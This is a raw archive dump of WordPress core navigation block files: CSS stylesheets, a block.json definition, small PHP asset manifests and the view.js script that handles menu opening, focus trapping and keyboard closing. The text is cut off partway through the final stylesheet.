.wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background-color:inherit;display:flex;flex-direction:column;overflow:auto;padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-left),20em) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem);z-index:100000}@media (prefers-reduced-motion:reduce){.wp-block-navigation__responsive-container.is-menu-open{animation-delay:0s;animation-duration:1ms}}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible;padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{background:transparent!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{right:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:transparent;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{left:0;position:absolute;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden}blocks/navigation/block.json000064400000006154151202620300012142 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/navigation", "title": "Navigation", "category": "theme", "description": "A collection of blocks that allow visitors to get around your site.", "keywords": [ "menu", "navigation", "links" ], "textdomain": "default", "attributes": { "ref": { "type": "number" }, "textColor": { "type": "string" }, "customTextColor": { "type": "string" }, "rgbTextColor": { "type": "string" }, "backgroundColor": { "type": "string" }, "customBackgroundColor": { "type": "string" }, "rgbBackgroundColor": { "type": "string" }, "showSubmenuIcon": { "type": "boolean", "default": true }, "openSubmenusOnClick": { "type": "boolean", "default": false }, "overlayMenu": { "type": "string", "default": "mobile" }, "icon": { "type": "string", "default": "handle" }, "hasIcon": { "type": "boolean", "default": true }, "__unstableLocation": { "type": "string" }, "overlayBackgroundColor": { "type": "string" }, "customOverlayBackgroundColor": { "type": "string" }, "overlayTextColor": { "type": "string" }, "customOverlayTextColor": { "type": "string" }, "maxNestingLevel": { "type": "number", "default": 5 }, "templateLock": { "type": [ "string", "boolean" ], "enum": [ "all", "insert", "contentOnly", false ] } }, "providesContext": { "textColor": "textColor", "customTextColor": "customTextColor", "backgroundColor": "backgroundColor", "customBackgroundColor": "customBackgroundColor", "overlayTextColor": "overlayTextColor", "customOverlayTextColor": "customOverlayTextColor", "overlayBackgroundColor": "overlayBackgroundColor", "customOverlayBackgroundColor": "customOverlayBackgroundColor", "fontSize": "fontSize", "customFontSize": "customFontSize", "showSubmenuIcon": "showSubmenuIcon", "openSubmenusOnClick": "openSubmenusOnClick", "style": "style", "maxNestingLevel": "maxNestingLevel" }, "supports": { "align": [ "wide", "full" ], "ariaLabel": true, "html": false, "inserter": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalTextTransform": true, "__experimentalFontFamily": true, "__experimentalLetterSpacing": true, "__experimentalTextDecoration": true, "__experimentalSkipSerialization": [ "textDecoration" ], "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "blockGap": true, "units": [ "px", "em", "rem", "vh", "vw" ], "__experimentalDefaultControls": { "blockGap": true } }, "layout": { "allowSwitching": false, "allowInheriting": false, "allowVerticalAlignment": false, "allowSizingOnChildren": true, "default": { "type": "flex" } }, "__experimentalStyle": { "elements": { "link": { "color": { "text": "inherit" } } } }, "interactivity": true }, "viewScript": "file:./view.min.js", "editorStyle": "wp-block-navigation-editor", "style": "wp-block-navigation" } blocks/navigation/editor.css000064400000031223151202620300012150 0ustar00.editor-styles-wrapper .wp-block-navigation ul{ margin-bottom:0; margin-left:0; margin-top:0; padding-left:0; } .editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{ margin:revert; } .wp-block-navigation-item__label{ display:inline; } .wp-block-navigation-item,.wp-block-navigation__container{ background-color:inherit; } .wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{ opacity:0; visibility:hidden; } .has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{ display:flex; opacity:1; visibility:visible; } .is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{ opacity:1; visibility:visible; } .is-editing>.wp-block-navigation__container{ display:flex; flex-direction:column; opacity:1; visibility:visible; } .is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{ opacity:1; visibility:hidden; } .is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{ visibility:visible; } .is-editing>.wp-block-navigation__submenu-container>.block-list-appender{ display:block; position:static; width:100%; } .is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{ background:#1e1e1e; border-radius:2px; color:#fff; margin-left:auto; margin-right:0; padding:0; width:24px; } .wp-block-navigation__submenu-container .block-list-appender{ display:none; } .block-library-colors-selector{ width:auto; } .block-library-colors-selector .block-library-colors-selector__toggle{ display:block; margin:0 auto; padding:3px; width:auto; } .block-library-colors-selector .block-library-colors-selector__icon-container{ align-items:center; border-radius:4px; display:flex; height:30px; margin:0 auto; padding:3px; position:relative; } .block-library-colors-selector .block-library-colors-selector__state-selection{ border-radius:11px; box-shadow:inset 0 0 0 1px rgba(0,0,0,.2); height:22px; line-height:20px; margin-left:auto; margin-right:auto; min-height:22px; min-width:22px; padding:2px; width:22px; } .block-library-colors-selector .block-library-colors-selector__state-selection>svg{ min-width:auto !important; } .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{ color:inherit; } .block-library-colors-selector__popover .color-palette-controller-container{ padding:16px; } .block-library-colors-selector__popover .components-base-control__label{ height:20px; line-height:20px; } .block-library-colors-selector__popover .component-color-indicator{ float:right; margin-top:2px; } .block-library-colors-selector__popover .components-panel__body-title{ display:none; } .wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{ background-color:#1e1e1e; color:#fff; } .wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{ padding:0; } .wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{ background-color:transparent; color:#1e1e1e; } @keyframes loadingpulse{ 0%{ opacity:1; } 50%{ opacity:.5; } to{ opacity:1; } } .components-placeholder.wp-block-navigation-placeholder{ background:none; box-shadow:none; color:inherit; min-height:0; outline:none; padding:0; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{ font-size:inherit; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{ margin-bottom:0; } .wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{ color:#1e1e1e; } .wp-block-navigation-placeholder__preview{ align-items:center; background:transparent; color:currentColor; display:flex; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; min-width:96px; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{ display:none; } .wp-block-navigation-placeholder__preview:before{ border:1px dashed; border-radius:2px; border-radius:inherit; bottom:0; content:""; display:block; left:0; pointer-events:none; position:absolute; right:0; top:0; } .wp-block-navigation-placeholder__preview:before:before{ background:currentColor; bottom:0; content:""; left:0; opacity:.1; pointer-events:none; position:absolute; right:0; top:0; } .wp-block-navigation-placeholder__preview>svg{ fill:currentColor; } .wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{ min-height:90px; } .wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{ min-height:132px; } .wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{ align-items:flex-start; flex-direction:row; padding:6px 8px; } .wp-block-navigation-placeholder__controls{ background-color:#fff; border-radius:2px; box-shadow:inset 0 0 0 1px #1e1e1e; display:none; float:left; position:relative; width:100%; z-index:1; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{ display:flex; } .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{ display:none; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{ align-items:flex-start; flex-direction:column; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{ display:none; } .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{ height:36px; margin-right:12px; } .wp-block-navigation-placeholder__actions__indicator{ align-items:center; display:flex; height:36px; justify-content:flex-start; line-height:0; margin-left:4px; padding:0 6px 0 0; } .wp-block-navigation-placeholder__actions__indicator svg{ fill:currentColor; margin-right:4px; } .wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{ flex-direction:row !important; } .wp-block-navigation-placeholder__actions{ align-items:center; display:flex; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; gap:6px; height:100%; } .wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{ margin-right:0; } .wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{ background-color:#1e1e1e; border:0; height:100%; margin:auto 0; max-height:16px; min-height:1px; min-width:1px; } @media (min-width:600px){ .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{ display:none; } } .wp-block-navigation__responsive-container.is-menu-open{ position:fixed; top:155px; } @media (min-width:782px){ .wp-block-navigation__responsive-container.is-menu-open{ left:36px; top:93px; } } @media (min-width:960px){ .wp-block-navigation__responsive-container.is-menu-open{ left:160px; } } @media (min-width:782px){ .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{ top:141px; } } .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{ top:141px; } .is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{ right:280px; } .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{ left:0; top:155px; } @media (min-width:782px){ .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{ top:61px; } .is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{ top:109px; } } .is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{ top:109px; } body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{ bottom:0; left:0; right:0; top:0; } .components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{ color:inherit; height:auto; padding:0; } .components-heading.wp-block-navigation-off-canvas-editor__title{ margin:0; } .wp-block-navigation-off-canvas-editor__header{ margin-bottom:8px; } .is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{ margin-top:16px; } @keyframes fadein{ 0%{ opacity:0; } to{ opacity:1; } } .wp-block-navigation__loading-indicator-container{ padding:8px 12px; } .wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{ margin-top:0; } @keyframes fadeouthalf{ 0%{ opacity:1; } to{ opacity:.5; } } .wp-block-navigation-delete-menu-button{ justify-content:center; margin-bottom:16px; width:100%; } .components-button.is-link.wp-block-navigation-manage-menus-button{ margin-bottom:16px; } .wp-block-navigation__overlay-menu-preview{ align-items:center; background-color:#f0f0f0; display:flex; height:64px; justify-content:space-between; margin-bottom:12px; padding:0 24px; width:100%; } .wp-block-navigation__overlay-menu-preview.open{ background-color:#fff; box-shadow:inset 0 0 0 1px #e0e0e0; outline:1px solid transparent; } .wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{ display:none; } .wp-block-navigation__navigation-selector{ margin-bottom:16px; width:100%; } .wp-block-navigation__navigation-selector-button{ border:1px solid; justify-content:space-between; width:100%; } .wp-block-navigation__navigation-selector-button__icon{ flex:0 0 auto; } .wp-block-navigation__navigation-selector-button__label{ flex:0 1 auto; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .wp-block-navigation__navigation-selector-button--createnew{ border:1px solid; margin-bottom:16px; width:100%; } .wp-block-navigation__responsive-container-open.components-button{ opacity:1; } .wp-block-navigation__menu-inspector-controls{ overflow-x:auto; scrollbar-color:transparent transparent; scrollbar-gutter:stable both-edges; scrollbar-width:thin; will-change:transform; } .wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{ height:12px; width:12px; } .wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{ background-color:transparent; } .wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{ background-clip:padding-box; background-color:transparent; border:3px solid transparent; border-radius:8px; } .wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{ background-color:#949494; } .wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{ scrollbar-color:#949494 transparent; } @media (hover:none){ .wp-block-navigation__menu-inspector-controls{ scrollbar-color:#949494 transparent; } } .wp-block-navigation__menu-inspector-controls__empty-message{ margin-left:24px; }blocks/navigation/view-modal.min.asset.php000064400000000124151202620300014621 0ustar00 array(), 'version' => 'b478fa3cd1475dec97d3'); blocks/navigation/view.min.asset.php000064400000000124151202620300013527 0ustar00 array(), 'version' => 'e3d6f3216904b5b42831'); blocks/navigation/view.js000064400000017474151202620300011474 0ustar00"use strict"; (self["__WordPressPrivateInteractivityAPI__"] = self["__WordPressPrivateInteractivityAPI__"] || []).push([[3],{ /***/ 932: /***/ (function(__unused_webpack_module, __unused_webpack___webpack_exports__, __webpack_require__) { /* harmony import */ var _wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(754); /** * WordPress dependencies */ const focusableSelectors = ['a[href]', 'input:not([disabled]):not([type="hidden"]):not([aria-hidden])', 'select:not([disabled]):not([aria-hidden])', 'textarea:not([disabled]):not([aria-hidden])', 'button:not([disabled]):not([aria-hidden])', '[contenteditable]', '[tabindex]:not([tabindex^="-"])']; // This is a fix for Safari in iOS/iPadOS. Without it, Safari doesn't focus out // when the user taps in the body. It can be removed once we add an overlay to // capture the clicks, instead of relying on the focusout event. document.addEventListener('click', () => {}); const openMenu = (store, menuOpenedOn) => { const { context, selectors } = store; selectors.core.navigation.menuOpenedBy(store)[menuOpenedOn] = true; if (context.core.navigation.type === 'overlay') { // Add a `has-modal-open` class to the root. document.documentElement.classList.add('has-modal-open'); } }; const closeMenu = (store, menuClosedOn) => { const { context, selectors } = store; selectors.core.navigation.menuOpenedBy(store)[menuClosedOn] = false; // Check if the menu is still open or not. if (!selectors.core.navigation.isMenuOpen(store)) { if (context.core.navigation.modal?.contains(window.document.activeElement)) { context.core.navigation.previousFocus?.focus(); } context.core.navigation.modal = null; context.core.navigation.previousFocus = null; if (context.core.navigation.type === 'overlay') { document.documentElement.classList.remove('has-modal-open'); } } }; (0,_wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__/* .store */ .h)({ effects: { core: { navigation: { initMenu: store => { const { context, selectors, ref } = store; if (selectors.core.navigation.isMenuOpen(store)) { const focusableElements = ref.querySelectorAll(focusableSelectors); context.core.navigation.modal = ref; context.core.navigation.firstFocusableElement = focusableElements[0]; context.core.navigation.lastFocusableElement = focusableElements[focusableElements.length - 1]; } }, focusFirstElement: store => { const { selectors, ref } = store; if (selectors.core.navigation.isMenuOpen(store)) { ref.querySelector('.wp-block-navigation-item > *:first-child').focus(); } } } } }, selectors: { core: { navigation: { roleAttribute: store => { const { context, selectors } = store; return context.core.navigation.type === 'overlay' && selectors.core.navigation.isMenuOpen(store) ? 'dialog' : null; }, ariaModal: store => { const { context, selectors } = store; return context.core.navigation.type === 'overlay' && selectors.core.navigation.isMenuOpen(store) ? 'true' : null; }, ariaLabel: store => { const { context, selectors } = store; return context.core.navigation.type === 'overlay' && selectors.core.navigation.isMenuOpen(store) ? context.core.navigation.ariaLabel : null; }, isMenuOpen: ({ context }) => // The menu is opened if either `click`, `hover` or `focus` is true. Object.values(context.core.navigation[context.core.navigation.type === 'overlay' ? 'overlayOpenedBy' : 'submenuOpenedBy']).filter(Boolean).length > 0, menuOpenedBy: ({ context }) => context.core.navigation[context.core.navigation.type === 'overlay' ? 'overlayOpenedBy' : 'submenuOpenedBy'] } } }, actions: { core: { navigation: { openMenuOnHover(store) { const { navigation } = store.context.core; if (navigation.type === 'submenu' && // Only open on hover if the overlay is closed. Object.values(navigation.overlayOpenedBy || {}).filter(Boolean).length === 0) openMenu(store, 'hover'); }, closeMenuOnHover(store) { closeMenu(store, 'hover'); }, openMenuOnClick(store) { const { context, ref } = store; context.core.navigation.previousFocus = ref; openMenu(store, 'click'); }, closeMenuOnClick(store) { closeMenu(store, 'click'); closeMenu(store, 'focus'); }, openMenuOnFocus(store) { openMenu(store, 'focus'); }, toggleMenuOnClick: store => { const { selectors, context, ref } = store; // Safari won't send focus to the clicked element, so we need to manually place it: https://bugs.webkit.org/show_bug.cgi?id=22261 if (window.document.activeElement !== ref) ref.focus(); const menuOpenedBy = selectors.core.navigation.menuOpenedBy(store); if (menuOpenedBy.click || menuOpenedBy.focus) { closeMenu(store, 'click'); closeMenu(store, 'focus'); } else { context.core.navigation.previousFocus = ref; openMenu(store, 'click'); } }, handleMenuKeydown: store => { const { context, selectors, event } = store; if (selectors.core.navigation.menuOpenedBy(store).click) { // If Escape close the menu. if (event?.key === 'Escape') { closeMenu(store, 'click'); closeMenu(store, 'focus'); return; } // Trap focus if it is an overlay (main menu). if (context.core.navigation.type === 'overlay' && event.key === 'Tab') { // If shift + tab it change the direction. if (event.shiftKey && window.document.activeElement === context.core.navigation.firstFocusableElement) { event.preventDefault(); context.core.navigation.lastFocusableElement.focus(); } else if (!event.shiftKey && window.document.activeElement === context.core.navigation.lastFocusableElement) { event.preventDefault(); context.core.navigation.firstFocusableElement.focus(); } } } }, handleMenuFocusout: store => { const { context, event } = store; // If focus is outside modal, and in the document, close menu // event.target === The element losing focus // event.relatedTarget === The element receiving focus (if any) // When focusout is outsite the document, // `window.document.activeElement` doesn't change. // The event.relatedTarget is null when something outside the navigation menu is clicked. This is only necessary for Safari. if (event.relatedTarget === null || !context.core.navigation.modal?.contains(event.relatedTarget) && event.target !== window.document.activeElement) { closeMenu(store, 'click'); closeMenu(store, 'focus'); } } } } } }); /***/ }) }, /******/ function(__webpack_require__) { // webpackRuntimeModules /******/ var __webpack_exec__ = function(moduleId) { return __webpack_require__(__webpack_require__.s = moduleId); } /******/ var __webpack_exports__ = (__webpack_exec__(932)); /******/ } ]);blocks/navigation/style.min.css000064400000040226151202620300012607 0ustar00.wp-block-navigation{--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center;position:relative}.wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;background-color:inherit;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation:where(:not([class*=has-text-decoration])) a{text-decoration:none}.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{text-decoration:none}.wp-block-navigation .wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-left:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{stroke:currentColor;display:inline-block;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;height:0;left:-1px;opacity:0;overflow:hidden;position:absolute;top:100%;transition:opacity .1s linear;visibility:hidden;width:0;z-index:2}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:auto;margin-right:0}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:transparent;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-right:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(-90deg)}}.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{left:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:transparent;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;line-height:inherit;text-align:left;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-right:.85em}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-left:-.6em;pointer-events:none}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child 